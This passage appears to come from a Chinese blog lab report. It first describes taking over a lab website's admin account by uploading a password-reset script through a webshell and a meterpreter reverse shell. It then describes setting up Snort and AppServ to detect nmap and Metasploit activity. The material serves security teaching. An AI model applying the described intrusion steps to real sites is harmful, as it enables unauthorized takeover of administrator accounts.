Schoolweb数据库中sl_admin表中显示存在一个A_login字段内容为admin的一条记录。

在这里插入图片描述
使用admin及弱密码admin尝试登陆,密码错误。发现有忘记密码选项,点击。
在这里插入图片描述
在这里插入图片描述
点击找回密码工具,点击下载重置密码工具,只需要将pwd.php放在网站根目录下即可。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
Pwd.php已准备好,由于做到这一步时蚁剑自己关闭了,所以直接用meterpreter的shell在服务器上使用wget命令下载pwd.php
需要将pwd.php放在攻击机的/var/www/html下

在这里插入图片描述
打开apache服务
在这里插入图片描述
使用之前建立的反弹shell在服务器上使用wget命令下载pwd.php
在这里插入图片描述
但是显示HTTP 500 ,所以还是使用蚁剑重新连接一次然后上传文件吧
在这里插入图片描述
上传成功,可以访问http://192.168.43.149/pwd.php,此时可以任意重置网站管理员admin的密码了。
在这里插入图片描述
在这里插入图片描述
使用admin及刚刚设置的密码登录,可以成功拿到网站后台管理:
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

三,网络靶场攻击检测

3.1,Snort及AppServ简介

3.1.1,Snort简介

在1998年,Martin Roesch用C语言开发了开放源代码(Open Source)的入侵检测系统Snort。Snort已发展成为一个具有多平台(Multi-Platform)、实时(Real-Time)流量分析、网络IP数据包(Pocket)记录等特性的强大的网络入侵检测/防御系统(Network Intrusion Detection/Prevention System),即NIDS/NIPS。Snort符合通用公共许可(GPL——GNU General Pubic License),在网上可以通过免费下载获得Snort,并且只需要几分钟就可以安装并开始使用。
Snort有三种工作模式:嗅探器、数据包记录器、网络入侵检测系统。嗅探器模式仅仅是从网络上读取数据包并作为连续不断的流显示在终端上。数据包记录器模式把数据包记录到硬盘上。网络入侵检测模式是最复杂的,而且是可配置的。我们可以让snort分析网络数据流以匹配用户定义的一些规则,并根据检测结果采取一定的动作。
Snort能够对网络上的数据包进行抓包分析,但区别于其它嗅探器的是,它能根据所定义的规则进行响应及处理。Snort 通过对获取的数据包,进行各规则的分析后,根据规则链,可采取Activation(报警并启动另外一个动态规则链)、Dynamic(由其它的规则包调用)、Alert(报警),Pass(忽略),Log(不报警但记录网络流量)五种响应的机制。
Snort有数据包嗅探,数据包分析,数据包检测,响应处理等多种功能,每个模块实现不同的功能,各模块都是用插件的方式和Snort相结合,功能扩展方便。例如,预处理插件的功能就是在规则匹配误用检测之前运行,完成TIP碎片重组,http解码,telnet解码等功能,处理插件完成检查协议各字段,关闭连接,攻击响应等功能,输出插件将得理后的各种情况以日志或警告的方式输出。

3.1.2,AppServ简介

AppServ 是 PHP 网页架站工具组合包,作者将一些网络上免费的架站资源重新包装成单一的安装程序,以方便初学者快速完成架站,AppServ 所包含的软件有:Apache、Apache Monitor、PHP、MySQL、phpMyAdmin等。为帮助大家能够迅速的在本地试用EcShop软件,我们编写如下文档。如果您的本地机器没有安装过apache、php、mysql等系统,那么用这个软件则可以让你迅速搭建完整的底层环境。

3.2,搭建Snort及AppServ

3.2.1,安装Snort

按照默认选项,一直安装即可,安装完成之后,在Snort/bin目录下运行Snort。
在这里插入图片描述
使用“snort -W”来查看此时的网卡信息
在这里插入图片描述
导入官方的规则包,包括:icmp规则包、mysql规则包、sql规则包、telent规则包、dos规则包等。
在这里插入图片描述

3.2.3,安装AppServ

按照默认选项进行安装,安装完成后,在浏览器输入localhost,可以看到如下的界面。

在这里插入图片描述

3.2.3.1,在MySql中创建snortdb和snortarc,以及所需的数据表

打开cmd,进入到C:/AppServ/MySQL/bin目录,输入mysql -u root -p输入密码之后输入以下:
·mysql> create database snortdb;
·mysql> create database snortarc;
·mysql> use snortdb;
·mysql> source D:\SoftWare\Snort\schemas\create_mysql
·mysql> use snortarc;
·mysql> source D:\SoftWare\Snort\schemas\create_mysql
·mysql> grant usage on . to “snort”@“localhost” identified by “snort”;
·mysql> grant select,insert,update,delete,create,alter on snortdb .* to “snort”@“localhost”;
·mysql> grant select,insert,update,delete,create,alter on snortarc .* to “snort”@“localhost”;
·mysql> set password for “snort”@“localhost”=password(‘snort’);

3.2.3.2,配置base

(1) 安装base,将其解压缩并重命名为base放到C:/AppServ/www/目录下面;在浏览器中登录:localhost/base/setup/index.php

在这里插入图片描述
在这里插入图片描述

(2) 将adodb也放到C:/AppServ/www/目录下面,并复制adodb文件的路径
在这里插入图片描述
在这里插入图片描述
(3) 链接数据库,输入数据库的名字和密码
在这里插入图片描述
(4) 创建用户名和密码
在这里插入图片描述
(5) 创建base AG

在这里插入图片描述
(6) 创建成功后,返回至上一步

在这里插入图片描述
(7) 部署成功,观察到数据统计的情况
在这里插入图片描述

3.3,Snort检测情况

3.3.1,Kali使用nmap扫描局域网

(1) 攻击主机kali使用nmap扫描192.168.43.0局域网

在这里插入图片描述
(2) 查看snort检测的情况,检测到大量的icmp包传输来自192.168.43.153
在这里插入图片描述
(3) 查看日志文件
在这里插入图片描述

3.3.2,Metasploit渗透攻击检测

(1) 检测到tcp包

在这里插入图片描述
(2) 查看日志
在这里插入图片描述
1, 查看snort记录到的主机之间的交互,包括源主机和目的主机信息
(1) 源主机信息
在这里插入图片描述
(2) 目的主机信息
在这里插入图片描述


版权声明:本文为weixin_46605806原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。